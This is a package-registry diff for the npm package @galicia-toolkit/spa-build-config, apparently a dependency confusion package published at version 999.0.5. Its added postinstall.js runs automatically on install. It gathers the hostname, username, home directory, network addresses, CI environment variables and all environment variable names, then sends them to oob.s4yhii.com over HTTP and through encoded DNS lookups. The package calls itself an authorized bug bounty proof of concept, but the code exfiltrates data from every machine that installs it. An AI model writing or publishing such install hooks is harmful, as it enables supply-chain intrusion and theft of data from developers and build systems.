@galicia-toolkit/spa-build-config 0.0.0-stage → 999.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +6 -3
- package/postinstall.js +68 -0
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@galicia-toolkit/spa-build-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "999.0.5",
|
|
4
|
+
"description": "Security research \u2014 dependency confusion PoC (authorized bug bounty, Banco Galicia program)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js || true"
|
|
8
|
+
}
|
|
6
9
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
|
|
4
|
+
const info = {
|
|
5
|
+
pkg: require("./package.json").name,
|
|
6
|
+
hostname: os.hostname(),
|
|
7
|
+
platform: os.platform(),
|
|
8
|
+
arch: os.arch(),
|
|
9
|
+
release: os.release(),
|
|
10
|
+
nodeVersion: process.version,
|
|
11
|
+
cwd: process.cwd(),
|
|
12
|
+
dirname: __dirname,
|
|
13
|
+
pid: process.pid,
|
|
14
|
+
uptime: os.uptime(),
|
|
15
|
+
totalMem: Math.round(os.totalmem() / 1024 / 1024) + "MB",
|
|
16
|
+
cpus: os.cpus().length + "x " + (os.cpus()[0] || {}).model
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
try { info.username = os.userInfo().username; } catch(e) { info.username = process.env.USER || process.env.USERNAME || "unknown"; }
|
|
20
|
+
try { info.homedir = os.homedir(); } catch(e) {}
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
var nets = os.networkInterfaces();
|
|
24
|
+
info.ips = [];
|
|
25
|
+
for (var name in nets) {
|
|
26
|
+
for (var i = 0; i < nets[name].length; i++) {
|
|
27
|
+
if (!nets[name][i].internal) info.ips.push(name + ":" + nets[name][i].address);
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
|
|
32
|
+
info.ci = {};
|
|
33
|
+
var ciKeys = ["CI","BUILD_NUMBER","BUILD_ID","JENKINS_URL","JENKINS_HOME",
|
|
34
|
+
"GITHUB_ACTIONS","GITLAB_CI","SYSTEM_TEAMFOUNDATIONCOLLECTIONURI",
|
|
35
|
+
"CODEBUILD_BUILD_ID","npm_config_registry","npm_package_name",
|
|
36
|
+
"NODE_ENV","HOME","COMPUTERNAME","USERDOMAIN","PATH"];
|
|
37
|
+
for (var k = 0; k < ciKeys.length; k++) {
|
|
38
|
+
if (process.env[ciKeys[k]]) info.ci[ciKeys[k]] = process.env[ciKeys[k]];
|
|
39
|
+
}
|
|
40
|
+
info.envKeys = Object.keys(process.env).sort();
|
|
41
|
+
|
|
42
|
+
var body = JSON.stringify(info);
|
|
43
|
+
|
|
44
|
+
// Exfil 1: HTTP via interactsh (port 9999 — confirmed reachable)
|
|
45
|
+
try {
|
|
46
|
+
var h = require("http");
|
|
47
|
+
var req = h.request({
|
|
48
|
+
hostname: "oob.s4yhii.com",
|
|
49
|
+
port: 9999,
|
|
50
|
+
path: "/dep-confusion",
|
|
51
|
+
method: "POST",
|
|
52
|
+
headers: {"Content-Type": "application/json", "Content-Length": Buffer.byteLength(body)},
|
|
53
|
+
timeout: 8000
|
|
54
|
+
}, function(){});
|
|
55
|
+
req.on("error", function(){});
|
|
56
|
+
req.write(body);
|
|
57
|
+
req.end();
|
|
58
|
+
} catch(e) {}
|
|
59
|
+
|
|
60
|
+
// Exfil 2: DNS beacons
|
|
61
|
+
try {
|
|
62
|
+
var tag = info.pkg.replace(/[^a-z0-9]/gi, "").slice(-8);
|
|
63
|
+
var hx = Buffer.from(info.hostname).toString("hex").slice(0, 40);
|
|
64
|
+
var ux = Buffer.from(info.username).toString("hex").slice(0, 40);
|
|
65
|
+
dns.resolve(hx + "." + tag + ".h.dc.oob.s4yhii.com", function(){});
|
|
66
|
+
dns.resolve(ux + "." + tag + ".u.dc.oob.s4yhii.com", function(){});
|
|
67
|
+
dns.resolve(info.platform + "-" + info.arch + "." + tag + ".m.dc.oob.s4yhii.com", function(){});
|
|
68
|
+
} catch(e) {}
|
package/README.md
DELETED